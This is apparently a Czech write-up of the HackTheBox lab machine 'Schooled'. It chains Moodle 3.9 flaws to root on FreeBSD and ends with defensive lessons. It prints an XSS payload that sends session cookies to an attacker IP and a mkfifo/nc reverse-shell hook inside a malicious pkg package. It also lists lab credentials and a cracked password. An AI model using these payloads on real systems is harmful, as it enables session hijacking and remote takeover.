Schooled
Úvod a kontext
Schooled je hlavně o tom, jak se několik „menších“ Moodle problémů skládá do jednoho použitelného řetězce. Přes moodle.schooled.htb, staff e-maily a převzetí cizí session se dá dostat až k roli managera, kterou v aplikaci drží carter_lianne. Nejde o jeden kliknutelný exploit, ale o postupné rozšiřování oprávnění uvnitř webu.
Teprve z administrativních dat vypadne hash Jamie Borham, který po cracknutí funguje i pro SSH účet jamie. Root pak neleží ve FreeBSD kernelu, ale v sudo /usr/sbin/pkg install * a podvrženém balíčku s instalačním skriptem.
Počáteční průzkum
Vyhledání otevřených portů
Síťová enumerace ukázala FreeBSD host s Apachem, SSH a službou MySQL X Protocol.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v -Pn $IP
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open mysqlx?
Moodle a staff e-maily
Subdomain fuzzing odhalilo moodle.schooled.htb. Veřejný web zároveň prozradil jména a e-maily zaměstnanců:
carter_lianne@staff.schooled.htb
phillips_manuel@staff.schooled.htb
borham_jamie@staff.schooled.htb
To je důležité hned ze dvou důvodů. Zaprvé je jasné, že hlavní učební platformou je Moodle. Zadruhé už je k dispozici seznam konkrétních staff účtů, proti kterým může dávat smysl session theft nebo role abuse.
upgrade.txt navíc potvrdil verzi:
curl http://moodle.schooled.htb/moodle/lib/upgrade.txt
=== 3.9 ===
Analýza zjištění
XSS a zneužití role v Moodle
Moodle 3.9 odpovídal známým chybám v této řadě. První z nich umožnila přes profilové pole nebo obrázek spustit JavaScript a odcizit MoodleSession cookie. Praktickou logiku takového přechodu od stored XSS k převzetí cizí session rozebírám i v článku Stored XSS a admin browser a headless review jako útoková plocha:
<img src="http://10.10.14.22:8000/hfpvdposhios.jpg"
onerror="this.src='http://10.10.14.22:8000/?cookie='+document.cookie">
GET /?cookie=MoodleSession=28ncg86jeqsll9cl230b5ojpf9
To samo o sobě ještě nestačí k rootu, ale otevírá přístup do cizího staff session. Na něj pak navázalo zneužití další Moodle chyby v práci s rolemi, takže bylo možné převzít silnější oprávnění a přihlásit se jako carter_lianne, která na webu vystupovala jako manager.
Admin hash a příkazové vykonání
S manažerským účtem šlo nainstalovat další modul a dostat se k hodnotám, které už přesahují webovou vrstvu. Získaný hash pro administrátora Jamie Borham šel prolomit:
/usr/sbin/john admin_passwd --wordlist=/usr/share/wordlists/rockyou.txt
!QAZ2wsx
Současně bylo přes endpoint:
http://moodle.schooled.htb/moodle/blocks/completion_progress/version.php?c=cat%20...
možné číst soubory a ověřit lokální účty i databázové údaje:
$CFG->dbpass = 'PlaybookMaster2020';
jamie:*:1001:1001:Jamie:/home/jamie:/bin/sh
Tady se řetězec uzavírá. Jamie Borham z Moodle odpovídá systémovému uživateli jamie a cracknuté heslo tak dává smysl zkusit i proti SSH. Právě tenhle přechod z aplikační identity na systémový shell je typický pro vzorec popsaný v článku Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji.
Získání přístupu
SSH jako jamie
ssh jamie@10.10.10.234
!QAZ2wsx
To je důležitý přechod od webového session kompromisu k plnohodnotnému uživatelskému shellu v systému. Teprve od této chvíle dává smysl řešit lokální privilege escalation.
Eskalace oprávnění
Zneužití pkg install *
Lokální kontrola oprávnění ukázala:
sudo -l
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
Na FreeBSD je to kritické, protože balíček může obsahovat vlastní +PRE_INSTALL skript. Stačilo tedy připravit minimální balíček s instalačním hookem. Obecnější bezpečnostní význam takového sudo pravidla rozebírám i v článku sudo nad package, backup a container nástroji:
mkdir shell
cat > shell/+PRE_INSTALL <<'EOF'
cat /root/root.txt
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.22 4000 > /tmp/f
EOF
cat > shell/+MANIFEST <<'EOF'
name: shell
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF
pkg create -m shell/ -r shell/ -o .
sudo /usr/sbin/pkg install --no-repo-update ./shell-1.0_5.txz
Jakmile pkg spustil +PRE_INSTALL jako root, vznikl root shell a bylo možné ověřit root.txt.
Shrnutí klíčových poznatků
- Webová část nestála na jednom exploitu, ale na řetězu: Moodle 3.9, staff session theft, zneužití role managera a následný přístup k administrativním datům.
- První stabilní systémový přístup vznikl až ve chvíli, kdy se cracknuté heslo
!QAZ2wsxukázalo jako znovupoužité pro SSH účetjamie. - Root část nebyla o kernelu ani o
sudo su, ale o tom, žepkg install *dovoloval podvrhnout balíček s vlastním instalačním skriptem.
Co si odnést do praxe
- U systémů jako Moodle nestačí hlídat jen core verzi. Zranitelné moduly, role workflow a session handling jsou stejně důležité jako samotné přihlášení.
- Heslo získané z aplikační databáze nebo z webového adminu nesmí fungovat i pro systémový účet. Reuse mezi webovou aplikací a SSH zásadně zvyšuje dopad každého webového kompromisu.
sudonad balíčkovacím nástrojem je prakticky delegace roota. Pokud může uživatel instalovat libovolný balíček, může obvykle spustit i libovolný instalační hook.
Další související články
HTB Stroje
Techniky
- PATH, PYTHONPATH a wrapper hijack
- Document workflow jako RCE nebo file-read primitivum
- `sudo` nad package, backup a container nástroji